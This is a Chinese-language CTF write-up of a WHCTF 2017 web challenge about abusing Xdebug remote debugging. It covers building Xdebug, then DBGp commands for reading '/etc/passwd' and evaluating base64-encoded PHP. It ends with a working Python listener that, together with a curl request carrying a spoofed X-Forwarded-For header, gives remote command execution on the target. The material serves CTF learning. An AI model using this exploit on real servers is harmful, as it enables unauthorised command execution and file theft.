在whctf里膜到了这一题,致敬r神
首先要下载xdebug插件
然后,我们需要phpize来安装PHP的插件
apt install php7.0-dev
之后就是我们进入文件夹
编译
phpize
./configure config if php-config is not in your path)
make
make install
记得保存下xdebug.so文件cp modules/xdebug.so /usr/lib/php/20151012
逐一完成之后,就完成了编译了
然后我们就要把自己的xdebug在php配置好
在php下apache文件夹里的php.ini一定要配
我们要打开
zend_extension="/usr/lib/php/20151012/xdebug.so"
extension = xdebug.so
然后就是自己配参数了
原理
这里的原理是:
xdebug远程的就是利用的是DBGp协议
DBGp里有一些命令:
- source
source -i transaction_id -f fileURI
transaction_id
每次都为 1 即可,fileURI 是要读取的文件的路径,需要注意的是,Xdebug 受限于 open_basedir
。
利用方式:
source -i 1 -f file:///etc/passwd
另外,此处可以用 php://filter 来读取文件,所以也可以用来 SSRF。
- eval
eval -i transaction_id -- {DATA}
{DATA} 为 base64 过的 PHP 代码。
xdebug题目
whctf2017里的一道web题,主要是xdebug的远程调试导致可以执行任意命令
这里主要是xdebug.remote_connect_back
和xdebug.remote_enable
这个参数要打开
这样也是比较简单
然后就是直接上:
#!/usr/bin/python2
import socket
import re
import os
ip_port = ('0.0.0.0',8802)
sk = socket.socket()
sk.bind(ip_port)
#os.system('curl "http://192.168.60.133/phpinfo.php?XDEBUG_SESSION_START=phpstrom" -H "X-Forwarded-For: 192.168.60.132"')
sk.listen(10)
conn, addr = sk.accept()
#curl "http://192.168.60.133/phpinfo.php?XDEBUG_SESSION_START=phpstrom" -H "X-Forwarded-For: 192.168.60.132"
while True:
client_data = conn.recv(1024)
print (client_data)
data = raw_input('>> ')
conn.sendall('eval -i 1 -- %s\x00' % ('system("'+data+'");').encode('base64'))
然后就是,我在服务器可以监听端口,让shell反弹到我的服务器上
这里我用其它的去访问curl "http://*.*.*.*/phpinfo.php?XDEBUG_SESSION_START=phpstrom" -H "X-Forwarded-For: *.*.*.*"
类似的。这里的xff会给xdebug远程调试的信息,就是链接这个xff,然后,我们使用上面说过的eval的命令,就是PHP语言的eval,我们执行system函数,就会返回信息,这些信息也以base64的形式返回。
这样就是了
网友评论